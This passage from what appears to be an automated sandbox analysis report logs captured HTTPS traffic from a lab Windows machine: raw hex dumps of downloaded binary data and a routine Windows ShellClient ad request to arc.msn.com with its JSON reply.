66 d5 2d 6d 1b 50 93 c8 76 8b fd 22 d5 2e bc df 95 17 9c f9 7f 7f d7 e6 ac 4b ed 42 5d 4a fa c2 cd 63 9e 0b 79 5d 6e ee 
24 d9 fb a4 89 3e 58 e3 7f e2 75 67 1f 4a 6d f6 96 d7 52 41 a7 c3 61 24 88 8f 1c c9 3c ef fb a7 6d a4 a4 89 23 7f 17 1f 37 
5f 9a b6 a6 86 5b 08 2d 2e 9a 3f f8 9c 2a 79 33 4f 3f cf b1 7b e7 18 5f f7 79 ad bd d5 ac 99 86 bb 44 b5 ac 68 73 cb 24 0c 
b2 47 36 dd a8 e8 9b a2 74 dc bf dd fb b8 3e 
Data Ascii: nXO3=k{X=KOkw>.}QP&K7ES]jIPG]e1s%}"J1nk|f-mPv".KB]Jcy]n$>XugJmRAa$<m#7_[-.?*y3O?{_yDhs$G6t>

2022-06-08 07:56:27 UTC 8857 IN Data Raw: 28 d0 a3 ed 67 dc 93 3d ac ab 5a de 22 d6 2e 75 59 e0 f2 34 14 b5 97 ee 4b e4 3e e4 9a a5 9a 6f 16 68 70 40 
2f 34 d9 c4 1f f2 c5 2e a1 67 f9 7d 15 c5 57 36 ba 9d 31 8c e3 4e d1 6b e6 d3 2e de 6a f3 f8 93 4e 8a 3d 52 c2 d6 7b 8b 5f 
93 ed d0 7e ea 5d be 92 2f fe cd 8a c0 b5 95 7c e7 36 f0 bf 98 bf 75 26 7f b9 f4 ad 3b 5f 1c 6a 17 0d 26 ed 26 17 dc 9b 1b 
ef 6e ab f0 fc 3e d6 f5 68 64 d4 2d 6d 64 82 34 fb e9 fe 0b f7 8d 5a 6a 26 5f bc 93 7e d1 5b d3 5f c8 e5 7e c6 b2 43 be 49 
26 86 e1 bf e5 9f d9 5b ff 00 42 a9 6c 6e 27 d2 a4 f9 6d de 19 7f be 9b 97 7d 5b b8 86 ee ce 1f 9e f9 3c af b8 df 23 55 73 
6f 03 49 e7 c3 0e f5 fe 2d 8f 57 7e e8 bf 69 cc ac f6 fe bd 0e af c2 7e 26 b4 92 eb ec ba a6 83 05 ea 4b fc 7e 67 94 ff 00 f7 
d5 7b ae 87 e0 bd 43 54 92 d1 ad 74 98 
Data Ascii: (g=Z".uY4K>ohp@/4.g}W61Nk.jN=R{_~]/|6u&;_j&&n>hd-md4Zj&_~[_~CI&[Bln'm}[<#UsoI-W~i~&K~g{CTt

2022-06-08 07:56:27 UTC 8873 IN Data Raw: 83 a7 d5 e4 46 6b fb 58 1f 7f fc 0f f0 af 49 b7 6b 1f 0a c9 1d 9a f9 ef 2d aa 33 cd 27 dc 4f 9b d5 7f 8e b8 ea 4f 
97 dd 82 d7 73 a6 34 e1 56 4a 73 d2 3b 5e ff 00 d6 c6 07 85 74 3b 9d 2f 54 f2 75 07 9e 3b 86 fb 9f bc f2 9f 77 d6 bd 0d b5 
09 e5 8e 4f 3a d3 ed 5b 77 6c f2 fe e3 af a7 d6 b8 0b cd 73 c3 fa c5 d7 99 1f f6 a4 0f fd fd 88 e9 f9 66 b7 74 f8 f5 3d 37 cb 
fb 3f da 9d 1d d7 67 99 04 8f ff 00 a0 d6 15 23 cf 69 3d 19 d7 85 ac e8 73 53 4e f1 be e9 a7 f7 a0 86 fb 74 73 ab 79 96 a9 
fc 11 c9 f7 d1 ab 53 45 d4 1a ce 3f 3a e2 ee c6 e9 f6 7f cb 3d c9 2d 5e 99 62 ba 8e 35 92 ee 0b 57 ff 00 9e 13 fc 9f ab 0a 
ab 71 a1 cf 6f 24 8c b3 fd aa d3 fe 99 ed 7d 95 8b a9 17 a3 d0 f4 63 4e b5 17 cf 09 5e df d6 aa e4 97 5a 92 de c9 e7 2f 98 
9f e7 f3 a2 de f2 e6 58 37 79 71 
Data Ascii: FkXIk-3'OOs4VJs;^t;/Tu;wO:[wlsft=7?g#i=sSNtsySE?:=-^b5Wqo$}cN^Z/X7yq

2022-06-08 07:56:27 UTC 8880 IN Data Raw: 09 2b 26 af f7 7f c0 d7 ee 3d c3 e1 4d bf f6 37 89 a4 b3 b3 b0 9f 4b b8 d2 52 4d fa 3c 8e df 67 79 da 3d b2 32 
6e 27 76 ed 9b c7 a0 e0 0a f5 6f 1f 2e 95 a9 78 0f 45 d1 f5 0b 48 35 b7 d4 a6 9a de 19 27 45 fd f5 d2 fc d7 0c e7 8d 9d 77 
6d 5f 98 fd de bc 57 92 f8 6f c5 0b 71 e0 bb 4d 42 1b bb 5b 5b d6 be 8e e2 69 f7 f9 57 10 ea 2c d1 86 93 e6 f9 77 37 9a f8 
e9 b4 f5 dd 5e 99 e1 5d 6a ce d7 52 81 b5 08 23 d2 fc 29 2c 37 0f 69 1c 68 ce 90 dd 2e cc 9f 9c 7c b3 96 6f 33 d7 76 e1 
cd 75 cf e2 e6 8d ff 00 af f2 39 ad cd 0f 67 3b 3f eb 65 eb d3 e5 dc e7 7c 13 e1 db 3f 1a 78 02 ed 75 2d ef e2 0b 7b 8b 8f 
0c 58 c8 ff 00 71 19 25 2e 91 ce c8 3e 6c 0f b8 de be dc 57 b3 78 27 c4 93 da da e8 b6 6b f6 ad 2f 47 d3 74 c5 8a 59 27 
f9 f7 b7 dd c3 ff 00 71 9b f8 71 f7 bf 21 5c 
Data Ascii: +&=M7KRM<gy=2n'vo.xEH5'Ewm_WoqMB[[iW,w7^]jR#),7ih.|o3vu9g;?e|?xu-{Xq%.>lWx'k/GtY'qq!\

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 185 of 211



2022-06-08 07:56:27 UTC 8896 IN Data Raw: a7 ee bc e4 46 fe 0d f5 47 fe 11 dd 3f 43 67 ba 8d e6 85 99 3e 74 df f7 eb c7 fc 61 f1 7a eb 6f 97 6f f6 ad 8b f7 
37 bf f5 af 34 97 e2 9f 88 65 ba dd 0e ab 32 3a ff 00 71 eb 1a 98 98 c7 dd b5 cf 53 05 c3 39 8e 22 2e 4e a7 2a 7d cf a5 7c 
5d e2 e1 e1 0b 11 35 dc fe 75 c3 22 bc 49 07 cb b3 f1 eb 5e 39 ae 7c 6c d5 fc 49 be dd a7 98 ae ff 00 f9 69 5e 71 ad 78 
c3 5a d7 3f e4 25 7f 35 cf fb f5 92 b3 5c da a6 e5 b8 f9 6b cc ab 8a 93 f2 47 db e5 dc 37 47 0d 4e f5 ad 29 bf 5b 7e 47 49 
ab da fd a2 4f b5 49 72 90 b5 64 ea 57 1a 64 49 f6 88 9d 21 9f fb f5 0d be 9f 25 ca f9 d3 df a3 c7 fd c7 ac bb ad b6 70 bc 
8c 90 3f f0 6c ae 59 cf a9 f5 74 28 ab a8 f3 5e dd b4 5e 82 5c 7c 42 d7 94 3c 10 ea 53 79 5f 77 62 7d da ad 1f 8a 35 a6 f9 
be d8 ef bb ef 6f ae 76 ea eb 74 9f 2a 
Data Ascii: FG?Cg>tazoo74e2:qS9".N*}|]5u"I^9|lIi^qxZ?%5\kG7GN)[~GIOIrdWdI!%p?lYt(^^\|B<Sy_wb}5ovt*

2022-06-08 07:56:27 UTC 8912 IN Data Raw: 7c ad f9 8c 03 ed 9a e5 7f e1 68 4f e2 8b bd 5b 4b d2 ed 37 a6 93 f3 ea 32 4f f2 26 e6 fb aa bf f3 d3 e9 f9 d6 
94 e2 f9 93 b5 c7 51 73 41 c7 65 f8 fd e5 7f 85 77 93 da cd e2 1b 78 7c bf b4 58 3b 5b 4b e6 6d 4d 8a aa 3c a9 1d 73 df ef
60 1a eb 6f 96 5d 2f 4a 8e 49 ae 2c 75 7d 4a e1 d9 df 66 d8 a2 7d ab df ef 7c df 77 91 5e 7d f0 5f c2 7a bd be ab e2 1b cd 
72 d3 cf b5 d6 6f 9a ee e2 fa 08 19 22 b9 dd c2 c6 17 8d ae 3e 55 e9 8a f5 99 ff 00 b2 3f b5 76 ca fb 35 08 91 61 f2 5f 73 
aa 2b 7f 06 17 d4 7f 0d 45 6a 1e ce 5f d7 dc 69 4e b7 b5 8a 6b 7b 6b f2 23 f0 cc d7 d7 d6 f0 79 70 41 0d c3 3b 6f 83 7f ee 
93 6f 5f 99 be f6 7f bd b6 a2 f0 f5 e4 fa f5 ec 32 69 f1 bc 31 41 e6 5b f9 8f 3a b4 50 fc df bc c2 63 a9 ad 3b cf 14 de 58 ce 
90 d9 69 50 40 cb 0a bd c6 f8 db e7 
Data Ascii: |hO[K72O&QsAewx|X;[KmM<s`o]/JI,u}Jf}|w^}_zro">U?v5a_s+Ej_iNk{k#ypA;oo_2i1A[:Pc;XiP@

2022-06-08 07:56:27 UTC 8920 IN Data Raw: f8 a2 fb c2 7a 84 e2 de eb 63 4b f7 e1 74 de 8e be 86 ba 1b 88 7c 31 e2 09 bf b4 2d 75 2f ec bb b9 7e fc 71 a2 
ed 46 ef f2 d6 b0 97 99 dd 88 95 2a 6f 9a 74 f4 7d 52 eb e7 64 65 69 b6 fa 7d d4 8f f3 a2 37 f7 26 fb af 5d 0e 97 6f f6 3f df 
4c f0 ff 00 b8 ef fd 3d 2b 92 d4 b4 d9 6c a4 cf 9d 6b 7d 1f fc f6 85 f6 d5 5f f8 49 24 d2 e1 f2 5d 37 c5 fc 3f de 4f c6 ba 39 
d4 55 ce 69 e1 e5 88 57 a7 2b 96 3c 71 f0 f7 4f f1 66 a4 f3 e9 92 ff 00 64 0d bb 9f 7b ef 8b 77 f3 15 e5 ba a7 81 75 0d 0e 
4f df bd a3 ff 00 77 64 ea fb eb d3 af 7c 5e d6 b2 47 75 67 60 93 2f 95 fb df b7 3f fc b4 ff 00 0f 4a e3 ff 00 b4 ae af 2e 5e 
e8 c3 0b ed f9 9b f7 0b b6 b8 65 cb 2f 89 1f 4d 97 d6 c6 d1 82 8c a4 9c 57 47 bf de 8e 5a e3 46 bb 86 0d de 4c df f0 3d b5 
45 be d5 70 fe 5b 23 a7 fb 1b 
Data Ascii: zcKt|1-u/~qF*ot}Rdei}7&]o?L=+lk}_I$]7?O9UiW+<qOfd{wuOwd|^Gug`/?J.^e/MWGZFL=Ep[#

2022-06-08 07:56:27 UTC 8936 IN Data Raw: e9 d9 d2 79 d3 e7 f3 7e ef 5c 8f e1 e9 53 f8 a1 65 f8 75 e1 9d 67 56 bb b4 93 7c fe 5a 44 96 b3 2b dc 3e ff 00 
95 33 bb 1b 54 f7 c7 4e b5 97 e1 79 a3 69 ec 6f 75 2f 10 a3 db bd b4 69 36 9d f3 4d be 56 e7 72 c9 fd cd cd ff 00 7c d3 4e 
69 72 bf f2 45 c5 42 49 cd 6a bd 2f f9 6c 4b fd 96 d6 ba 6d dd bc 97 7e 46 a5 16 d4 7f ba 91 3a aa ed f9 b6 91 bb f0 ab 7a 
7d be a3 3f f6 6b 3f 9d 6b a4 44 92 23 d8 a2 2c be 73 2f f7 7b 2a d6 92 c9 16 99 77 aa dc 35 ad ae 88 f6 f6 8b 17 da ae 93
7f da 99 9b 82 3f b8 9f c3 b6 b0 a1 d5 24 d7 b4 38 35 2b 79 e4 fb 2f ca ef e4 3b 6c 7f 9b 6b 6d fe f7 0a d9 fe 1f 7a ca 51 
d6 c6 d0 9c b9 6f d3 fa db fa 64 ed a8 cd 71 a9 49 6e b7 5f 66 48 3e 78 bc 8f b9 fe cf dd fe 2a b5 a7 e9 36 7a b6 ab 35 9e 
b5 7c 93 5a c5 13 4b 71 04 0f e5 44 fb 
Data Ascii: y~\SeugV|ZD+>3TNyiou/i6MVr|NirEBIj/lKm~F:z}?k?kD#,s/{*w5?$85+y/;lkmzQodqIn_fH>x*6z5|ZKqD

2022-06-08 07:56:27 UTC 8952 IN Data Raw: ce ec 37 f0 9e 2a e6 8c ba 95 ad 86 8b 67 ab 24 7a 8d e5 d6 e4 ba be 8e 75 d8 8c 8a 4f 9c 8a 7f 8c ed ce 31 
c5 63 cc ea 45 34 b6 eb db 62 dc 7d 9b bb f2 76 ef bb df e5 e4 36 df c4 09 6f 77 f6 7b ed 32 6f 37 ed 32 26 c7 87 cd 64 5d 
a0 a9 62 bf 75 4a b5 6c dd 6e 6d 4a c3 ec 6f 62 89 14 cc ef e7 26 f7 75 2b fe b2 36 ff 00 3c 71 59 17 5e 45 ae bb f6 39 52 
eb ed 32 5c 2c a8 f7 5b 95 1d 4f f7 5f ee ee fe 75 62 ce ce 38 75 2b 38 d6 18 de 58 2d 3e fa 6d 5d 99 fb 9b 80 e2 b3 f6 93 
82 70 b7 50 94 61 2b 4f cb ef d0 86 2f 0e c9 69 e5 a3 ea 0f a8 ce d1 35 bc be 72 2f cf fc 5c a7 dd c8 a2 e1 63 5b cb 06 86 
08 ed 6e 19 63 da ff 00 2b 3f de fb a7 eb f3 54 d6 32 49 2c fe 75 c6 f7 ba 89 9a 28 bc b7 6f 2b 6f 05 b8 ed f5 6e 95 1e 9f 
a2 25 ae a8 f2 4b aa cd 3c eb ba 24 fb bb 
Data Ascii: 7*g$zuO1cE4b}v6ow{2o72&d]buJlnmJob&u+6<qY^E9R2\,[O_ub8u+8X->m]pPa+O/i5r/\c[nc+?T2I,u(o+o
n%K<$

2022-06-08 07:56:27 UTC 8960 IN Data Raw: af e4 c9 fd c7 aa db 55 64 db bf 65 44 a2 f7 a7 b1 eb c6 2e de fa d4 d8 86 e1 59 3f da aa fa 85 e5 cd af 30 cd 
32 27 fb 0f 54 a2 ba 65 47 5f 93 73 2f df a7 5b ea 13 db 49 b2 e2 1d eb fe c5 1e d1 c9 5a 68 ca 34 9c 65 7b 5f c8 59 b5 
89 b5 2c 8b d7 fb 57 fb 73 27 cd f9 d5 7b bd 32 d3 52 87 72 22 43 2f fb 15 7c db e9 b7 bf 34 2e f0 cb 55 fc bb 9d 3d ff 00 
77 b2 68 eb 29 d3 ba d1 1b 46 4a 3f c3 5c ad 74 d8 c5 6f 0f cb 0c 9f 7f 7d 4d 0e a9 7d a4 be d8 7e ef fb 75 d0 af 88 15 ac 
e3 81 a1 48 59 7f e5 b2 27 cd 59 fa e2 dc 5c da 7e ea e1 2e 57 fd cd ad 5c f6 70 d6 2e cc da 35 a7 52 4a 15 a2 ac ce cf 
c2 ff 00 17 2f ac e3 db 24 09 75 ff 00 03 fb 95 b9 a8 fc 54 83 51 58 c0 4f b2 be cf 9d 2f a1 dd 0b fe 23 71 5a f0 bf 9a 3f 99 
91 d1 bf d8 a7 9b a9 7f 86 67 ff 00 71 de 
Data Ascii: UdeD.Y?02'TeG_s/[IZh4e{_Y,Ws'{2Rr"C/|4.U=wh)FJ?\to}M}~uHY'Y\~.W\p.5RJ/$uTQXO/#qZ?gq

2022-06-08 07:56:27 UTC 8976 IN Data Raw: d8 be 97 a5 5b dc 6a 51 bf da f7 ae f8 ed 51 76 7a f6 e8 a3 b7 eb 5b 9a 2e 8b a9 ad f2 43 24 f6 28 fe 4b 4d e6 
3e df ef 64 1c 63 6a f5 ab d7 1a 94 10 41 b7 e4 49 7e fa 49 b1 5f 7f f4 62 69 3e 6b 6d 6b f9 89 59 37 67 72 0b cd 42 da 3f 
2e 6b 1d 37 c8 b8 be f9 d6 77 db ba 15 5e ad 21 66 ca 02 bd 31 50 e9 cd 25 d5 cd a4 ed 3c 8f 2b 33 4b f6 a7 9e 36 b7 b5 
5f ee b6 7e f5 56 f1 7d ba 5f 5b c0 d1 c7 1c fa ad d7 fc b7 f9 76 7d de 55 7a fc 8b ed de b1 f4 dd 1e 5d 27 43 f2 6e a3 93 
54 45 dc 97 7e 5c 0b 2b dc cb fc 7b 3f d8 5e 9c d6 69 37 a3 45 27 15 0d 74 25 b7 d2 ad 6d 6f b5 5b a9 35 9d f6 f1 cd e6 
cb f3 f9 5f 7b ef 00 00 0a e3 73 7f 0f 15 cf 5e 78 8a ce ce d6 e2 fb cc b5 82 2b 54 54 b7 f3 d3 ed 77 08 bb be 6f 95 7f 8e 
b7 bc 4d 34 5f d8 16 1a b3 79 ef 15 e3 c3 0a 
Data Ascii: [jQQvz[.C$(KM>dcjAI~I_bi>kmkY7grB?.k7w^!f1P%<+3K6_~V}_[v}Uz]'CnTE~\+{?^i7E't%mo[5_{s^x+T
TwoM4_y

2022-06-08 07:56:27 UTC 8992 IN Data Raw: 5a d4 a3 d4 b4 38 23 d2 e0 f2 1f fd 74 d3 da 40 b1 5c 3a ed 71 85 3f de ff 00 68 d5 78 f5 ab 6b c9 20 ba 8e c2 
d6 79 59 f7 bf 97 6b 22 27 ca bf 2c 6c ed fd e6 f4 15 b9 e1 f9 3e d5 3d f2 af 93 a5 cb 12 2b bc 9e 46 f7 75 e7 ee ff 00 0a 
e0 ae 17 af d2 b9 dc 5a 6e 69 e8 74 5d 5a d2 5a af eb 6b 19 7a 6e b8 b7 fa 54 f3 5c 47 26 c6 87 7b c9 1f ce e9 bb a8 6e 
a7 75 69 ea 7b 7e cf 1c 6d 3c f3 ea 77 97 0a e9 1c 30 6f 74 e8 cd b7 78 ce c0 bd ea d5 8e 89 e1 fd 26 d2 ee d6 d7 51 4d 
47 50 f9 ae ee 24 91 d9 e5 79 5f e6 6d a8 9f 37 fb ab d2 b1 35 4b 5f ec dd 56 09 a3 b0 92 d7 58 8a dd a1 7b a9 e4 ff 00 
53 03 e0 93 f7 7e 5f b9 b6 9c a9 75 5a fa 13 1a b7 d1 ab 7a fe a5 e9 ac f5 29 bc c8 6f b5 2f ec b7 95 3f d7 c7 27 ce 8a cd 
f2 47 1a 2e 7f f8 aa a6 da 6c fa 97 85 60 86 e2 
Data Ascii: Z8#t@\:q?hxk yYk"',l>=+FuZnit]ZZkznT\G&{nui{~m<w0otx&QMGP$y_m75K_VX{S~_uZz)o/?'G.l`

2022-06-08 07:56:27 UTC 9000 IN Data Raw: a5 ba fc 87 cf 1a 71 8c 97 5d 34 ef e5 f9 7a 8e d3 7c 51 7f 0e 97 a9 5e 6a 82 3b 29 e0 dd fb 97 93 7d ba 6d 5e 
7f 79 d3 76 de dc 57 2f e2 6d 17 c3 4b ac 78 69 ae ac e4 b5 d4 22 4f f4 17 fd fc 49 b9 f9 31 65 0e df 9b ad 6f 36 ad e1 af 
10 5d 58 5a e8 be 20 9d ef 60 da 89 04 12 6f b8 da bf c5 e5 b6 07 de fb c7 ad 79 b7 89 3c 68 ba cd bf d8 fc 2f a1 79 f7 71 
26 c9 64 b4 9f ec 37 09 2a 65 7e 55 61 f3 a7 fb 23 24 7a 56 4e 92 92 e5 8b 4f cf 71 d3 f7 65 77 17 1f 2b 5b cb c8 f4 bd 61 
75 5d 09 67 b8 d2 60 fb 4e a4 65 8f cd d2 be d7 fb ad bd d9 f7 ab 6d 51 d7 77 cb 5c ae a3 e2 8d 57 56 f1 05 a6 89 aa 5b 
dd dd cb 78 9f 68 fb 56 9a 90 7f a1 c5 bb 63 7c ea cd bc 7a fc be f5 42 6f 88 1a 56 9b e1 f4 fe de 82 09 ed d9 16 de fa fb 
7f 95 13 cb b7 8d d9 da f2 85 6e 38 aa 9a 
Data Ascii: q]4z|Q^j;)}m^yvW/mKxi"OI1eo6]XZ `oy<h/yq&d7*e~Ua#$zVNOqew+[au]g`NemQw\WV[xhVc|zBoVn8

2022-06-08 07:56:27 UTC 9016 IN Data Raw: f7 5f 6e b3 b0 c5 d5 c3 c9 33 c9 75 6a d7 1f 66 95 97 fd 5a 4b cb 79 63 b6 6b 82 d4 2d f5 2f 8b da 96 bb a7 bd 
f4 71 c2 c8 b1 26 ab 3f c9 2d b4 bb 40 db 9d a8 db 3d 51 5b ee f1 f7 ab d2 f4 38 7f b4 6f a7 81 35 99 35 04 8b 6b da 24 
17 5b fe d3 17 3e 64 42 1f 65 da 1b 3b bd ba d7 9d 78 e2 cf e2 0f 86 75 c9 fc 55 1e 9b a6 c9 e0 ab 77 69 92 d6 04 ff 00 
48 9a 29 76 6d dd b5 72 ac 5b af 14 a3 cd 56 4d ee fd 48 7c 94 54 54 9d 93 d2 f6 77 f2 ef ff 00 0e 61 78 7f c0 f6 7e 20 f0 
ae a7 ff 00 09 07 8a ef b5 db dd 26 de 48 ad f4 77 8f 7a 22 ae f5 f3 36 9c b3 2f f1 ae fe d5 a9 e0 5f 13 5a fc 32 b3 f0 fe a1 
2f 8a 3f b6 f4 b9 7c b4 96 7b 5b e8 d3 e5 da fb a2 9b cc ff 00 5a a3 6f cb e5 ed f7 e6 b3 3c 59 a6 df 78 73 4a b0 f1 74 3a 
6e 95 65 a3 ca 8a 8f 63 75 3f d9 25 79 ee 
Data Ascii: _n3ujfZKyck-/q&?-@=Q[8o55k$[>dBe;xuUwiH)vmr[VMH|TTwax~ &Hwz"6/_Z2/?|{[Zo<YxsJt:necu?%y

Timestamp
kBytes
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Direction Data
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2022-06-08 07:56:27 UTC 9032 IN Data Raw: be 9f d7 4d cc 65 86 51 7c c9 bb f4 bb d7 ef 7a 5f d7 e4 7c e4 ba a7 c4 ff 00 03 6b 9a 6b 78 9b c2 73 ea 30 e9 
29 24 d6 9a 8f 86 7c bb bd ec db 15 a4 9f ee b0 f9 7e 6e 9d 2b e9 bf 0c f8 fa d2 7b 1f ec 9f ec c9 f4 bd 6e e2 df ed 11 25 
d7 ee bc e6 7c 6e 29 27 cc b8 dc dd 8d 3a f2 ca 0d 37 4d 85 a6 7f ed ed 27 51 45 49 75 19 a7 57 7b 65 76 f9 50 6c c1 f2 
eb 0a fb c3 72 e9 ba 8b c7 25 dc 7f 68 fb 3b 5c 43 05 aa 6f fb 1f ca 76 6c dd fe b1 0b 2f fa ba 8b ae 6e 68 ab 3b 7c 84 db 
ab 0e 5a ae fb bb da cf 4d ef 6d 34 ed 6f ce e7 03 f1 83 c3 b6 7a e6 ab 04 77 1a 4d f6 a3 0d 86 a3 1a 5c 41 03 b4 a8 92 
f0 c9 22 43 27 fa d4 f9 fe 69 13 8f ef 56 87 fc 21 12 5f 43 7d 26 83 77 e4 5f 4d e4 db df 5f 41 6a b0 da 42 a8 df 30 f2 83 ee 
dc 17 f8 41 db de ae fc 27 b1 b6 f0 bd 8c 
Data Ascii: MeQ|z_|kkxs0)$|~n+{n%|n)':7M'QEIuW{evPlr%h;\Covl/nh;|ZMm4ozwM\A"C'iV!_C}&w_M_AjB0A'

2022-06-08 07:56:27 UTC 9040 IN Data Raw: a5 72 5a 83 69 fa b5 fd bf 86 64 83 7e e9 5a 59 87 96 cf 70 90 3c 7f 31 54 90 63 cb 66 fb cd eb c0 e6 8a 2a dc 
55 da f2 31 84 9b 8a 97 95 ce d5 75 0b eb 3f 0c fd aa 29 12 d6 e2 d7 76 f4 44 6b 76 7d 9d 7f d6 65 bf ef 9c d4 36 9a b5 cb 
7d aa f6 d6 34 b2 3f bb 47 9e 4f 9e 57 56 6d cd b1 79 6f bb f7 54 d1 45 71 38 f2 bd 1b fe 92 3a a3 69 68 d1 7b 45 d3 e7 
d5 3e df 27 88 1e 7b 29 fc dd e8 f0 ed da 8a 9f c3 d3 6e cf 43 fc 55 97 ad 58 f8 46 ff 00 ed 6d 0c 73 c2 ee bb 26 be b1 ba 
f9 12 44 6c 75 dd 95 6f 9b 9a 28 ac e5 2e 5f 75 2f 9f 51 d0 8f b6 95 db 6b 6d 9d ba 17 2c 3e d3 a1 ea 93 d9 c7 27 fc 49 
1b e4 4f b5 3b 4a f6 cd b4 06 da ed fc 07 f8 6b a8 d0 6d 62 b7 ba fb 45 bc 91 f9 0c cb 2f 90 88 ab ff 00 7c ff 00 b3 9a 28 
ae 88 2d 55 fd 4e 5c 46 94 f9 ba fe 66 a6 a5 
Data Ascii: rZid~ZYp<1Tcf*U1u?)vDkv}e6}4?GOWVmyoTEq8:ih{E>'{)nCUXFms&Dluo(._u/Qkm,>'IO;JkmbE/|(-UN\Ff

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

63 192.168.2.3 49791 20.40.136.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:41 UTC 9045 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220608T165641Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=d2f302b8f69144b29a64ae9cbd710c85&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1550856&metered=false&nettype=ethernet&npid=sc-
310091&oemName=dvtdma%2C%20Inc.&oemid=dvtdma%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
dvtdma7%2C1&tl=2&tsu=1550856&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcoT2xWTT8B4K6mtV5tIxG
nC02GsRTU5yPFjb99UFYSlBGueIufF+PeDs0KJm0UB16pQqaMLUESx/ANwPw5stibNwfwd9LWR2Q5aFKB9H9Rq8Tbk
3/xUUTY2u3zeLajotcveWFy679D3IsrJFTmjG7M/6GaZLgqr6QINPT03fkqsS26Tp07Th+SBiZqmx/MbLhlctmjW3M
Gi825F8UfJCa3CxpUuWd75pk5HdggWwSBHrxQOv1LVEDUxS/Pai3pm2PaDkYwpfql6nei57WW49GDgqvogInmB3zgY
EzdULPmE/a5Rih3n0rjNpEcge+HDy1vOkoA0TC5cKeYNwrDm2BIDZgAACEyz1f8DUxL5qAGoD//34iGMkGey+aS9xE
e8eMTTjFWGRY8gbsBwj82QydScUJb2HDyhhjWsP4VqKqUOPW0sncGla0wqHbo64v/Im3siKy1KgLczIhzeRnzt2nbG
iY79mMRHXiuCcxEF87VXEmFYhSM3XFqSCwL6DWJot8JBA59TWqAB/6pVOqU41uoSXfNlktNNO0CYJ8WW
zLTya+rwDt+v3+1lxrMwMt7SQABErYSrOWFQGCto1ommHx7sk+i+warsWTYG4tWvNTvHUdXwGz7PlCBRtGtgMR48tD
zA5QMUK78w3PJanEXTA7fQmFY2NK63UiVzOjnDpsJ1cYy57ekYQVGi+MHr2ZW2PxDRFh3pJiHuJ8Mnnp
W+ERi9WFYcfAXbgg3xPTx29VBNQXl2aB1OHc1U5LgQE3lVAYAL4vZCQ7Ig1TDQW9K4VYkYWfSKC/emaTIpSh5J2R49
hKScsJ7MSsbXHqNnlp2Avfn4r4vif+rsmfjPgcXzPwrJYQXP3BHg9WBAe9Yfqib46FBcghjaZzYIdVOhtPUnjOFuTw
l0lj78G6q6KZHNQKGmqX1RhD/l1wE=&p=
Cache-Control: no-cache
MS-CV: eCuIOkvo8kiHm8UW.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-06-08 07:56:41 UTC 9048 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: Y68QuUXFtiescUkz9otfgiJGQt9XEZhsENJbyFHJbRNkpp2pKlUI0IOc+Y5fC3jPOMFDzHEIQyNuwh/
nLSUakJQozoXOtn2dc1coeh7DpnC8f0bCRJqhBXY8nV5VXugLWMibZ6gnS3hh+6Oag5ZVDItMRfK7yUZc+hKiVaZl8
aIcA2+nOyEzwFsbY673aVEWWp1CpjTdNvKYr0i+/M35JgXMqNvS8/YFvuS+8BwVdK0G1vBr0OGTPr5ov7O6Dt3risV
21CW4b0pe9dH68RnjeY7JYl/mFMGAsvfLn/rx8bGIKTiiCcbRdk3mslvXsEWIJ/n7EKhYZNmK9gM6QTx4Yg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:56:41 GMT
Connection: close

2022-06-08 07:56:41 UTC 9048 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 36 2d 30 
38 54 31 31 3a 35 36 3a 34 31 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-06-08T11:56:41"}}
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

64 192.168.2.3 49792 20.40.136.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe
